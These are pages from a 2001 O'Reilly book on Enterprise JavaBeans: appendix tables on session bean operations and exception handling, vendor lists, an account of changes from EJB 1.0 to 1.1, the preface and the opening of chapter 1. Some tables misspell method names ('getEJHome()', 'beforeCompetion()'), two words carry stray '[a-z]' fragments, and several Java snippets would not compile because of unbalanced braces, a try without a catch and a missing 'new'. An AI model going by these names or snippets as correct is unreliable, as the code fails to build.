ejbPassivate()

Not Supported

(stateless beans do not use these methods)

Not Supported

(stateless beans do not use these methods)

B.2.2. Stateful Session Beans

Figure B-8. EJB 1.1 stateful session bean life cycle

Figure B-9. EJB 1.0 life cycle state diagram of the stateful session bean life cycle

Figure B-10. EJB 1.1 life cycle of a stateful session bean with session synchronization interface

Figure B-11. EJB 1.0 life cycle of the stateful session bean with session synchronization interface

Figure B-12. Creation and removal of stateful session beans

Figure B-13. Activation process in stateful session beans

Figure B-14. Transaction notification in SessionSynchronization session beans

Table B-5 and Table B-6 summarize the operations that are legal for a stateful session bean in EJB 1.1 and 1.0.

Table B-5. Allowed Operations for Stateful Session Beans in EJB 1.1

Allowed Operations

Method

Container-Managed Transactions

Bean-Managed Transactions

setSessionContext()

EntityContext methods:

getEJBHome()

JNDI ENC contexts:

Properties java:comp/env

EntityContext methods:

getEJBHome()

JNDI ENC contexts:

Properties java:comp/env

ejbCreate()

ejbRemove()

ejbActivate()

ejbPassivate()

EntityContext methods:

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

EntityContext methods:

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

getUserTransaction()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

business methods

EntityContext methods:

getEJHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

getEJObject()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

EntityContext methods:

getEJHome()

getCallerPrincipal()

isCallerInRole()

getEJObject()

getUserTransaction()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

afterBegin()

beforeCompetion()

EntityContext methods:

getEJHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

getEJObject()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

Not Supported

(bean-managed transaction beans can not implement the SessionSynchronization interface)

afterCompletion()

EntityContext methods:

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

JNDI ENC contexts:

Properties java:comp/env

Not Supported

(bean-managed transaction beans can not implement the SessionSynchronization interface)

Table B-6. Allowed Operations for Stateful Session Beans in EJB 1.0

Allowed Operations

Method

Container-Managed Transactions

Bean-Managed Transactions

setSessionContext()

EntityContext methods:

getEnvironment()

getEJBHome()

EntityContext methods:

getEnvironment()

getEJBHome()

ejbCreate()

ejbRemove()

ejbActivate()

ejbPassivate()

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

getUserTransaction()

business methods

EntityContext methods:

getEnvironment()

getEJHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

getEJObject()

EntityContext methods:

getEnvironment()

getEJHome()

getCallerPrincipal()

isCallerInRole()

getEJObject()

getUserTransaction()

afterBegin()

beforeCompetion()

EntityContext methods:

getEnvironment()

getEJHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

getEJObject()

Not Supported

(bean-managed transaction beans can not implement the SessionSynchronization interface)

afterCompletion()

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

Not Supported

(bean-managed transaction beans can not implement the SessionSynchronization interface)

B.2.3. EJB 1.1: Interactions Between Exceptions and Transactions

Table B-7 summarizes what happens to a transaction if an exception is thrown while the transaction is in process.

Table B-7. Exceptions and Transactions

Transaction Scope

Transactional Type Attributes

Exception Thrown

Container's Action

Client's View

Client Initiated Transaction

Transaction is started by the client (application or bean) and is propagated to the bean method.

transaction-type =

Container

transaction-attribute =

Required |

Mandatory |

Supports |

Application Exception

If the bean invoked EJBContext.setRollbackOnly(), then mark the client's transaction for rollback.

Rethrow Application Exception.

Receives the Application Exception. The client's transaction may or may not have been marked for rolled back.

System Exception

Mark the client's transaction for roll back.

Log the error.

Discard the instance.

Rethrow TransactionRollbackException.

Receives the TransactionRollbackException

The client's transaction has been rolled back.

Container Initiated Transaction

The transaction started when the bean's method was invoked and will end when method completes.

transaction-type =

Container

transaction-attribute =

Required |

Requires New

Application Exception

If bean called EJBContext.setRollbackOnly(), then rollback the transaction and rethrow the Application Exception.

If bean didn't explicitly rollback the transaction, then attempt to commit the transaction and rethrow the Application Exception.

Receives the Application Exception. The bean's transaction may or may not have been rolled back. The client's transaction is not affected.

System Exception

Roll back the transaction.

Log the error.

Discard the instance.

Rethrow RemoteException.

Receives the RemoteException.

The bean's transaction was rolled back.

The client's transaction is not affected.

Bean is not part of a transaction

The bean was invoked but does not propagate the client's transaction and does not start its own transaction.

transaction-type =

Container

transaction-attribute =

Never |

Not Supported |

Supports |

Application Exception

Rethrow Application Exception

Receives the Application Exception.

The client's transaction is not affected.

System Exception

Log the error.

Discard the instance.

Rethrow RemoteException.

Receives the RemoteException.

The client's transaction is not affected.

Bean Managed Transaction.

The stateful or stateless session bean use the EJBContext to explicitly manage its own transaction.

transaction-type =

bean

transaction-attribute =

Bean-Managed Transaction beans do not use transaction attributes.

Application Exception

Rethrow the Application Exception.

Receive the Application Exception.

The client's transaction is not affected.

System Exception

Roll back the transaction.

Log the error.

Discard the instance.

Rethrow RemoteException.

Receives the RemoteException.

The client's transaction is not affected.

Previous | Home | Next
B.1. Entity Beans | Book Index | C. EJB Vendors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


EJB Vendors (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Appendix C. EJB Vendors

Contents:

Commercial Products
Open Source Projects

This appendix lists vendors of EJB servers. It includes all the vendors of which we're aware as of publication. However, with the number of vendors that already provide servers, and the number that are introducing new products daily, the list is obviously incomplete. Furthermore, we have made no attempt to distinguish EJB 1.1 servers from 1.0 servers; most (if not all) of the 1.0 vendors should be migrating to 1.1 over the next year. We will try to maintain a more up-to-date list on the book's web site, http://www.oreilly.com/catalog/entjbeans2.

C.1. Commercial Products

Table C-1. Commercial EJB Servers

Company Name | Company URL | EJB Server Name
BEA Systems | http://www.beasys.com | BEA WebLogic Server BEA WebLogic Enterprise
Bluestone Software | http://www.bluestone.com | Sapphire/Web
BROKAT Infosystems | http://www.brokat.com | BROKAT Twister
Fujitsu Software | http://www.fsc.fujitsu.com | Interstage
Gemstone Systems | http://www.gemstone.com | GemStone/J
Haht Software | http://www.haht.com | HAHTsite Application Server
IBM | http://www.software.ibm.com | WebSphere Application Server
Information Builders | http://www.ibi.com | Parlay Application Server
Inprise | http://www.inprise.com | Inprise Application Server
Iona Technologies | http://www.iona.com | Orbix Enterprise
Netscape Communications | http://www.netscape.com | Netscape Application Server
Novera Software | http://www.novera.com | jBusiness
ObjectSpace | http://www.objectspace.com | Voyager
Oracle | http://www.oracle.com | Oracle Application Server Oracle8i
Progress | http://www.progress.com | Aptivity
Persistence Software | http://www.persistence.com | PowerTier for EJB
Secant Technologies | http://www.secant.com | Secant Extreme Enterprise Server
SIEMENS | http://www.siemens.com | Siemens Enterprise Application Server
Silverstream | http://www.silverstream.com | SilverStream Application Server
Sun Microsystems | http://www.netdynamics.com java.sun.com/j2ee | NetDynamics Application Server J2EE Reference Implementation
Sun-Netscape Alliance | http://www.iplanet.com | NetDynamics Application Server Netscape Application Server
Sybase | http://www.sybase.com | Sybase Enterprise Application Server
Allaire | http://www.allaire.com | Valto
Visient | http://www.visient.com | Arabica
Unify | http://www.unify.com | eWave
Previous | Home | Next
B.2. Session Beans | Book Index | C.2. Open Source Projects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Open Source Projects (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

C.2. Open Source Projects

Several Open Source EJB servers have become available since the first edition of this book. The author of this book, Richard Monson-Haefel, is the lead architect of ExOffice's OpenEJB server.

Table C-2. Open Source EJB Servers

Sponsor Name | Company URL | EJB Server Name
ExOffice | http://www.exolab.org | OpenEJB
Telkel, Inc. | http://www.ejboss.org | EJBoss
Bull | http://www.bullsoft.com/ejb/ | JOnAS
Lutris | http://www.enhydra.com | Enhydra (EJB server based on JOnAS)

Previous | Home | Next
C.1. Commercial Products | Book Index | D. New Features in EJB 1.1
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


New Features in EJB 1.1 (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Appendix D. New Features in EJB 1.1

Contents:

Entity Beans
Session Beans
XML Deployment Descriptors
The Default JNDI Context
Security
Looking Ahead to EJB 2.0

In December 1999, Sun Microsystems released the final specification of Enterprise JavaBeans 1.1. Enterprise JavaBeans 1.1 is, in many ways, a point release with corrections and clarifications over EJB 1.0 that allows vendors and bean developers to create more portable beans. This appendix summarizes the most important and visible modifications to the specification made in EJB 1.1.

The biggest changes between EJB 1.0 and EJB 1.1 include mandating entity bean support, the adoption of XML deployment descriptors, the creation of a default JNDI context, and changes to security.

D.1. Entity Beans

EJB 1.1 mandates support for the [a-z]ntity bean type. In EJB 1.0, entity bean support is optional, which means vendors can support them in whole, in part, or not at all. Most EJB server vendors chose to support entity beans in some way; for these vendors, the transition to full support shouldn't be difficult. For most EJB developers, the required support for entity beans is welcomed because it provides a more stable platform for portable beans.

The entity bean type itself has undergone some changes. The bean-managed transaction option has been removed from entity beans. This option is difficult to use because it requires explicit transactional control by the developer. Removing it from entity beans simplifies the EJB architecture. Stateful session beans, however, still retain the option of managing their own transactions.

Another welcome change is the expansion of valid return types from the find methods for entity beans. In EJB 1.0, find methods can return a single entity or a collection of entities. Find methods that return a single entity return the entity's remote interface type; entities that return a collection use java.util.Enumeration. In EJB 1.1, a new return type has been added, java.util.Collection. This addition provides both the vendors and developers with more flexibility in how the find methods are implemented and used.

A seemingly minor change to the return value of ejbCreate() may turn out to be a headache when upgrading systems from EJB 1.0 to the EJB 1.1 specification. Because the ejbCreate() method works differently in bean-managed and container-managed beans, EJB 1.0 specified different return values: bean-managed entities return the unique identity of the bean, the primary key; container-managed entities return void. The following code shows the different method signatures used for container-managed and bean-managed ejbCreate() methods in EJB 1.0:

// container-managed entity, EJB 1.0
    public class AccountCMP implements javax.ejb.EntityBean {
    public int id;
    public double balance;

    public void ejbCreate(int myID) {
        id = myID;
    }
    // more bean code follows
}

// bean-managed entity, EJB 1.0
    public class AccountBMP implements javax.ejb.EntityBean {
    public int id;
    public double balance;

    public AccountPK ejbCreate(int myID) {
        id = myID;
        // do a database insert using JDBC
        AccountPK pk = new AccountPK(myID);
        return pk;
    }
    // more bean code follows
}

The EJB 1.1 specification changes this so that both bean-managed and container-managed entities have to return the primary key type from the ejbCreate() methods. However, container-managed beans are required to return null instead of a primary key object. This seemingly bizarre change was made to accommodate EJB vendors who want to support container-managed beans by extending them with generated bean-managed classes. The generated subclasses override the ejbCreate() methods to manually insert a record into the database. In EJB 1.0, the ejbCreate() methods in bean-managed and container-managed entities have different return values, so extending the class and overriding the ejbCreate() methods doesn't work. By specifying that the ejbCreate() methods must always return the primary key class, container-managed beans can be extended to create bean-managed beans. Unfortunately, this change breaks forward compatibility with EJB 1.0 container-managed beans, forcing bean developers to make changes to their existing code if they want to transition to the EJB 1.1 specification.

The EJB 1.1 specification also contains some other changes regarding the primary key class. For bean-managed persistence, EJB 1.1 states that the primary key class can be any valid Java RMI-IIOP type--a clear indication that IIOP will be the standard distributed object protocol for EJB in a future version of the specification. In addition, the new specification requires the primary key class to implement the Object.equals() and Object.hashCode() methods to ensure that these methods evaluate properly when comparing keys and storing them in a java.util.Hashtable. The most significant change regarding primary keys is the option to defer their definition until deployment time. In other words, the primary key for an entity bean doesn't have to be defined by the developer, but can be left to the deployer. This is a significant departure from the previous specification, which required the bean developer to define the primary keys. By deferring the definition until deployment, persistence mapping becomes more flexible, allowing beans to become more portable. Although this is a convenient option, it's likely that most bean developers will continue to specify the primary class when they develop the bean.

Finally, a change in the EJB 1.1 specification allows entity bean references to be container-managed fields. In container-managed persistence, the container manages persistence automatically, so it must be told at deployment time which fields are persistent and how to map them to the database. In EJB 1.0, container-managed fields are limited to primitives and java.io.Serializable types. Limiting the container-managed fields to these simple types makes it more difficult to maintain persistent relationships to other entity beans; entity beans are always referenced using their java.rmi.Remote interface type, which is neither a primitive nor Serializable. EJB 1.1 specifies that container-managed fields can include references to other entity beans, which makes it much easier for the bean developer to model associations and aggregations of beans. How the container persists the relationships is not specified, but it's likely that options for converting the reference to a primary key will be provided at deployment time.

Previous | Home | Next
C.2. Open Source Projects | Book Index | D.2. Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Session Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

D.2. Session Beans

Session beans didn't change much from EJB 1.0 to EJB 1.1 because their behavior and functionality was well defined in the original specification. Several clarifications have been added to eliminate inconsistencies between vendors and provide a more predictable bean life cycle for developers. For example, the 1.1 specification requires that the SessionContext be preserved through passivation in nontransitive fields, and clarifies what resources can be accessed in which methods. These clarifications tighten up the specification and make it easier for both vendors and developers.

Previous | Home | Next
D.1. Entity Beans | Book Index | D.3. XML Deployment Descriptors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


XML Deployment Descriptors (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

D.3. XML Deployment Descriptors

In EJB 1.0, the deployment descriptor information is stored in a serializable class defined in the javax.ejb.deployment package. While at first this appeared to be an excellent approach, it has limitations. It isn't clear which deployment information should be set by the bean developer and which by the deployer. In addition, the serializable classes are not very extensible and limit your ability to describe the bean's attributes.

To solve these problems, EJB 1.1 replaces the serializable deployment descriptor with an XML-based deployment descriptor. The XML deployment descriptor is defined by an XML DTD (Document Type Definition) that describes the structure that the XML deployment descriptors must have to be considered valid. The XML format is superior to the previous serializable object approach in many ways. First, it's more informative, allowing description tags to be associated with major elements so that the author can describe, in plain language, the purpose and expected behavior of attributes. Second, XML deployment descriptors can be viewed and edited using any text editor; the serializable deployment descriptor used in EJB 1.0 must be manipulated in a Java program (unless you're fluent in byte code!). Third, XML is more extensible and less fragile. In EJB 1.0, there are still problems with inconsistent versions of the deployment descriptor. As the specification evolves, the serializable deployment descriptor package would need to change, which introduces compatibility problems. With XML, new tags can be added without impacting existing deployment descriptor parsers. This makes deployment descriptors in EJB 1.1 more robust. Finally, XML is an industry standard, which means that deployment descriptors will enjoy universal support.

EJB 1.1 deployment descriptors also add some new declarative attributes and eliminate some old ones (like isolation levels!). Security, transactions, and environment properties change in EJB 1.1, necessitating changes in the type of information stored in the deployment descriptor. New features like bean and resource factory references were added, and the scope of the deployment descriptor was broadened to cover several beans for assembly. The division of labor for creating the deployment descriptor is better defined in EJB 1.1 as well. EJB 1.1 added new roles defining the development, assembly, deployment, and administration of beans. Contributions made by these roles to the deployment descriptor are well defined in EJB 1.1.

Previous | Home | Next
D.2. Session Beans | Book Index | D.4. The Default JNDI Context
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Default JNDI Context (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

D.4. The Default JNDI Context

Environment variables have undergone a fairly [a-z]adical change. Environment properties in EJB 1.0 are a powerful mechanism for modifying the behavior of a component without changing the component's code. In EJB 1.0, the environment properties are accessible to the bean through the EJBContext.getEnvironment() method, are set by the bean developer, and can be modified by the deployer. In EJB 1.0, the environment variables might, for example, be used to set a maximum withdraw amount for an account bean, as in the following code:

// EJB 1.0
public class AccountBean implements javax.ejb.EntityBean {

    public EntityContext context;

    public void withdraw(double amount) throws MaximumLimitException {
        try {
            Properties environment = context.getEnvironment();
            String value = environment.getProperty("withdraw_limit");
            Double limit = new Double(value);
            if ( amount > limit.doubleValue()) {
                throw new MaximumLimitException();
            else {
                 // continue processing
            }
        }
    }
}

EJB 1.1 changes the environment properties from the java.util.Properties class, used in EJB 1.0, to a set of JNDI entries that exist in a name space called the environment naming context. All deployed beans in EJB 1.1 have an environment naming context (default JNDI context) that can be accessed using the JNDI API. This default JNDI context provides a set of immutable JNDI entries specific to each type of bean. The default JNDI context provides the bean with access to environment variables which can be of type String or one of several primitive wrappers including Double, Float, Integer, or Boolean. The entries are defined in the XML deployment descriptor using special tags specific to the environment naming context. Here is an example of how the default JNDI context is used at runtime by an EJB 1.1 bean:

// EJB 1.1
public class AccountBean implements javax.ejb.EntityBean {

    public EntityContext context;

    public void withdraw(double amount) throws MaximumLimitException {
        try {
            InitialContext initCxt = InitialContext();
            Context defaultCxt = (Context)initCxt.lookup("java:comp/env");
            Double limit = (Double)
                defaultCxt.lookup("java:comp/env/withdraw_limit");
            if ( amount > limit.doubleValue()) {
                throw new MaximumLimitException();
            else {
                 // continue processing
            }
        }
    }
}

EJB 1.1-compliant servers are not required to support the EJB 1.0 environment properties, which are available through the EJBContext. The getEnvironment() method has been deprecated and will throw a runtime exception for EJB 1.1 servers that don't support backward compatibility.

Environment properties are only one of three sets of values that can be accessed through the default JNDI context. The default JNDI context is also used as a repository for linking to predefined resources and beans. When developing a bean, the bean developer can identify the types of resources and enterprise beans that will be referenced in the bean and bind them to the default JNDI context. This simplifies the process of looking up and obtaining bean references within beans, as well as locating and using resources like a JDBC database connection. The bean developer defines the types of beans and resources associated with the default JNDI entries in the XML deployment descriptor. The following code shows how a bean uses its default JNDI context to look up a bean and a JDBC DataSource:

// EJB 1.1
public class TellerBean implements javax.ejb.SessionBean {

    public void transfer(int sourceID, int targetID, double amount) {

        InitialContext initCtx = new InitialContext();

        // look up up the Account home
         AccountHome acctHome =
        (AccountHome)initCtx.lookup("java:comp/env/ejb/AccountHome");

        // transfer the money
        Account source = acctHome.findByPrimaryKey(
            new AccountKey(sourceID));
        Account target = acctHome.findByPrimaryKey(
            new AccountKey(targetID));
        source.withdraw(amount);
        target.deposit(amount);

        // Look up a the JDBC data source for recording transactions
        javax.sql.DataSource dataSource =
          (javax.sql.DataSource)initCtx.lookup("java:comp/env/jdbc/log");
        java.sql.Connection con = dataSource.getConnection();

        // continue processing: insert a log recording the transaction
    }
}

EJB 1.1 standardizes on the use of resource connection factories to access resources such as a JDBC connection. A resource factory provides access to resources in a manner that allows the container to manage the use of the resource. The use of the javax.sql.DataSource is a perfect example. It provides the bean with a JDBC connection that is managed transactionally and securely by the EJB container. In addition to JDBC, resource factories for the Java Messaging Service can also be used to obtain and manage access to an asynchronous message service.

The default JNDI context provides a powerful mechanism for obtaining predefined environment properties, bean references, and resource factories. It standardizes access to enterprise bean's environment through JNDI and lays the groundwork for future enhancements. As new facilities and services are made available to beans, they too can be accessed through the default JNDI context. A good example is the plan to provide a "connector" service that will allow beans to connect to legacy or "backend" systems using standard resource factories.

D.4.1. RMI over IIOP Narrowing

EJB 1.1 requires the use of Java RMI-IIOP reference and argument types when accessing enterprise beans from a client. EJB 1.1 servers are not required, however, to use IIOP as the distributed object protocol. They are only required to support the semantics and types used in Java RMI-IIOP.

Java RMI-IIOP requires that the remote references be explicitly narrowed when returned as supertypes from mechanisms like the JNDI context, Handle.getEJBObject(), EJBContext.getEJBObject(), etc. Explicitly narrowing a remote reference is necessary because CORBA doesn't support casting. To support RMI over IIOP we would change the line that obtains a reference to the AccountHome so that it looks as follows:

// EJB 1.1 using RMI over IIOP
InitialContext initCtx = new InitialContext();
Object ref = initCtx.lookup("java:comp/env/ejb/AccountHome");
AccountHome acctHome = (AccountHome)
    javax.rmi.PortableRemoteObject.narrow(ref, AccountHome.class);

The javax.rmi.PortableRemoteObject class is part of the RMI-IIOP extension package.

Previous | Home | Next
D.3. XML Deployment Descriptors | Book Index | D.5. Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

D.5. Security

EJB specifies declarative attributes for security authorization. Once a user has been authenticated (logged in), access to enterprise beans can be monitored and controlled. The declarative authorization attributes allow the container to control which users can access which methods on specific bean types. In EJB 1.0, individual methods on a bean are associated with Identity objects that represent individual users or groups of users called roles. Only users that are associated with the correct Identity objects can access the bean's methods. Using this approach, bean methods can be mapped to a set of identities in the serializable deployment descriptor.

When a bean method is invoked at runtime, the container examines the Identity of the caller and compares it to the list of Identity objects associated with that method. If the caller's identity matches or is a member of one of the identities associated with the method, the method can be invoked. Although this authentication model works well--it allows fine-grained functional authentication without requiring any code in the bean itself--it also has some problems. In an operational environment that supports ACL-based security, all the identities and roles in an enterprise are part of the operational environment. To choose Identity objects to associate with bean methods, you must have access to the ACL repository of the environment that the bean will be deployed in. For this reason, it is normally assumed that the deployer in EJB 1.0 will map the bean's methods to the security domain. Unfortunately, the deployer may not have a good understanding of the purpose and function of the bean methods. This makes it difficult for the deployer to determine what identities and roles should be mapped to which methods--a problem that is compounded in beans that have numerous methods.

In recognition of the authentication problems in EJB 1.0, EJB 1.1 has changed authentication security significantly. In EJB 1.1, the authentication service remains implicit and fine-grained, but it's permission driven rather than method driven. In EJB 1.1, the bean provider and the application assembler (the same person in many cases) defines logical roles in the XML deployment descriptor. One or more roles can be associated with a list of methods they have permission (authorization) to access. The roles are logical and have only semantic meaning. They are not obtained from a specific operational environment; they simply describe the type of user who can access a set of methods. The bean developer can provide additional information about the logical roles by attaching description tags to roles with comments.

The bean deployer, who works in the operational environment, maps the logical roles defined by the bean developer and application assembler to real roles in the environment's security system. In this way, the bean developer and application assembler can define the type of roles that have access to methods without having to know anything about the operational environment in which the bean will be deployed. Similarly, the bean deployer can map roles in the operational environment to the logical roles in the deployment descriptor, based on semantic meaning of the logical roles and their attached descriptions, without having to understand the purpose or function of the methods involved. In fact, the deployer need not be concerned with the methods at all since she is only concerned with roles and the methods with which they are associated.

Previous | Home | Next
D.4. The Default JNDI Context | Book Index | D.6. Looking Ahead to EJB 2.0
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Looking Ahead to EJB 2.0 (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

D.6. Looking Ahead to EJB 2.0

Enterprise JavaBeans 2.0 is likely to be the next release of the EJB specification, which we can expect to be finalized some time after the year 2000. It will include the definition of a connector interface that will allow legacy and ERP systems to be accessed by beans through resource factories. The Java Messaging Service will be integrated into the EJB architecture, which will probably require the creation of a new bean type or modification of the stateless session type. The definition of a standard object-to-relational mapping interface is possible, although this may not be included because of the difficulty in defining a standard. IIOP, the CORBA distributed object protocol, will be required for interoperability. Finally, a container interface or EJB Service-Provider Interface (SPI) will be defined that will allow containers and EJB servers to be more clearly delineated and therefore inter changeable.

Previous | Home | Next
D.5. Security | Book Index |
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Preface

0.1. What Is Enterprise JavaBeans?

When Java™ was first introduced, most of the IT industry focused on its graphical user interface characteristics and the competitive advantage it offered in terms of distribution and platform independence. Today, the focus has broadened considerably: Java has been recognized as an excellent platform for creating enterprise solutions, specifically for developing distributed server-side applications. This shift has much to do with Java's emerging role as a universal language for producing implementation-independent abstractions for common enterprise technologies. The JDBC™ API is the first and most familiar example. JDBC provides a vendor-independent Java interface for accessing SQL relational databases. This abstraction has been so successful that it's difficult to find a relational database vendor that doesn't support JDBC. Java abstractions for enterprise technologies have expanded considerably to include JNDI (Java Naming and Directory Interface™) for abstracting directory services, JMX (Java Management Extensions) for abstracting access to computer devices on a network, JMS™ (Java Messaging Service) for abstracting access to different message-oriented middleware products, and so on.

Enterprise JavaBeans™ is the latest technology abstraction in the Java family, and perhaps the most ambitious. Enterprise JavaBeans (EJB) provides an abstraction for component transaction monitors (CTMs). Component transaction monitors represent the convergence of two technologies: traditional transaction processing monitors, such as CICS, TUXEDO, and Encina, and distributed object services, such as CORBA (Common Object Request Broker Architecture), DCOM, and native Java RMI. Combining the best of both technologies, component transaction monitors provide a robust, component-based environment that simplifies distributed development while automatically managing the most complex aspects of enterprise computing, such as object brokering, transaction management, security, persistence, and concurrency.

Enterprise JavaBeans defines a server-side component model that allows business objects to be developed and moved from one brand of CTM to another. A component (a bean) presents a simple programming model that allows the developer to focus on its business purpose. An EJB server (a CTM that conforms to the Enterprise JavaBeans specification) is responsible for making the component a distributed object and for managing services such as transactions, persistence, concurrency, and security. In addition to defining the bean's business logic, the developer defines the bean's runtime attributes in a way that is similar to choosing the display properties of visual widgets. The transactional, persistence, and security behaviors of a component can be defined by choosing from a list of properties. The end result is that Enterprise JavaBeans makes developing distributed component systems that are managed in a robust transactional environment much easier. For developers and corporate IT shops that have struggled with the complexities of delivering mission-critical, high-performance distributed systems using CORBA, DCOM, or Java RMI, Enterprise JavaBeans provides a far simpler and more productive platform on which to base development efforts.

Enterprise JavaBeans has quickly become a de facto industry standard. Many vendors announced their support even before the specification was finalized. CTM products that conform to the EJB standard have come from every sector of the IT industry, including the TP monitor, CORBA ORB, application server, relational database, object database, and web server industries. Some of these products are based on proprietary models that have been adapted to EJB; many more wouldn't even exist without EJB.

In short, Enterprise JavaBeans provides a standard distributed component model that greatly simplifies the development process and allows beans that are developed and deployed on one vendor's EJB server to be easily deployed on a different vendor's EJB server. This book will provide you with the foundation you need to develop vendor-independent EJB solutions.

Previous | Home | Next
Copyright | Book Index | 0.2. Who Should Read This Book?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Who Should Read This Book? (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

0.2. Who Should Read This Book?

This book explains and demonstrates the fundamentals of the Enterprise JavaBeans architecture. Although EJB makes distributed computing much simpler, it is still a complex technology that requires a great deal of time to master. This book provides a straightforward, no-nonsense explanation of the underlying technology, Java classes and interfaces, component model, and runtime behavior of Enterprise JavaBeans.

Although this book focuses on the fundamentals, it's no "dummy's" book. Enterprise JavaBeans embodies an extremely complex and ambitious enterprise technology. While using EJB may be fairly simple, the amount of work required to truly understand and master EJB is significant. Before reading this book, you should be fluent with the Java language and have some practical experience developing business solutions. Experience with distributed object systems is not a must, but you will need some experience with JDBC (or at least an understanding of the basics) to follow the examples in this book. If you are unfamiliar with the Java language, I recommend that you pick up a copy of Learning Java™ by Patrick Neimeyer and Jonathan Knudsen, formerly Exploring Java™, (O'Reilly). If you are unfamiliar with JDBC, I recommend Database Programming with JDBC™ and Java™ by George Reese (O'Reilly). If you need a stronger background in distributed computing, I recommend Java™ Distributed Computing by Jim Farley (O'Reilly).

Previous | Home | Next
0.1. What Is Enterprise JavaBeans? | Book Index | 0.3. Organization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

0.7. Acknowledgments

While there is only one name on the cover of this book, the credit for its development and delivery is shared by many individuals. Michael Loukides, my editor, was pivotal to the success of this book. Without his experience, craft, and guidance, this book would not have been possible.

Many expert technical reviewers helped ensure that the material was technically accurate and true to the spirit of Enterprise JavaBeans. At the top of the list is Tim Rohaly of jGuru.com, whose contributions as a technical reviewer were critical to the success of the second edition. Of special note are Sriram Srinivasan of BEA, Anne Thomas of the Patricia Seybold Group, and Ian McCallion of IBM Hursley. They contributed greatly to my understanding of component transaction monitors and EJB design philosophies. Special thanks also go to Jim Farley, author of Java™ Distributed Computing (O'Reilly, 1998), James D. Frentress of ITM Corp., Andrzej Jan Taramina of Accredo Systems, Marc Loy, co-author of Java™ Swing (O'Reilly, 1998), Don Weiss of Step 1, Mike Slinn of The Dialog Corporation, and Kevin Dick of Kevin Dick & Associates. The contributions of these technical experts were critical to the technical and conceptual accuracy of this book. They brought a combination of industry and real-world experience to bear, and helped to make this the best book on Enterprise JavaBeans published today.

Several other individuals have made contributions that helped to make this book worthy of an O'Reilly publication. Maggie Mezquita, Greg Hartzel, and Jon Jamsa of BORN Information Services, and John Klug of Gelco all contributed to the first edition of this book. They helped me to refine the content so that it was more focused and understandable.

Thanks also to Vlad Matena of Sun Microsystems, the primary architect of Enterprise JavaBeans, who answered several of my most complex questions. Thanks to all the participants in the EJB-INTEREST mailing list hosted by Sun Microsystems for their interesting and sometimes controversial, but always informative, postings.

Finally, the most sincere gratitude must be extended to my wife, Hollie, for supporting and assisting me through two years of painstaking research and writing which were required to produce two editions of this book. Without her unfailing support and love, this book would not have been completed.

Previous | Home | Next
0.6. Comments and Questions | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 1. Introduction

Contents:

Setting the Stage
Enterprise JavaBeans: Defined
Distributed Object Architectures
Component Models
Component Transaction Monitors
CTMs and Server-Side Component Models
Titan Cruises: An Imaginary Business
What's Next?

This book is about Enterprise JavaBeans (Versions 1.1 and 1.0), Java's new component model for enterprise applications. Just as the Java platform has revolutionized the way we think about software development, Enterprise JavaBeans promises to revolutionize the way we think about developing mission-critical enterprise software. It combines server-side components with distributed object technologies such as CORBA and Java RMI to greatly simplify the task of application development. It automatically takes into account many of the requirements of business systems: security, resource pooling, persistence, concurrency, and transactional integrity.

This book shows you how to use Enterprise JavaBeans to develop scalable, portable business systems. But before we can start talking about EJB itself, we'll need a brief introduction to the technologies addressed by EJB, such as component models, distributed objects, and component transaction monitors (CTMs). It's particularly important to have a basic understanding of component transaction monitors, the technology that lies beneath EJB. In Chapter 2, "Architectural Overview" and Chapter 3, "Resource Management and the Primary Services", we'll start looking at EJB itself and see how enterprise beans are put together. The rest of this book is devoted to developing enterprise beans for an imaginary business and discussing advanced issues.

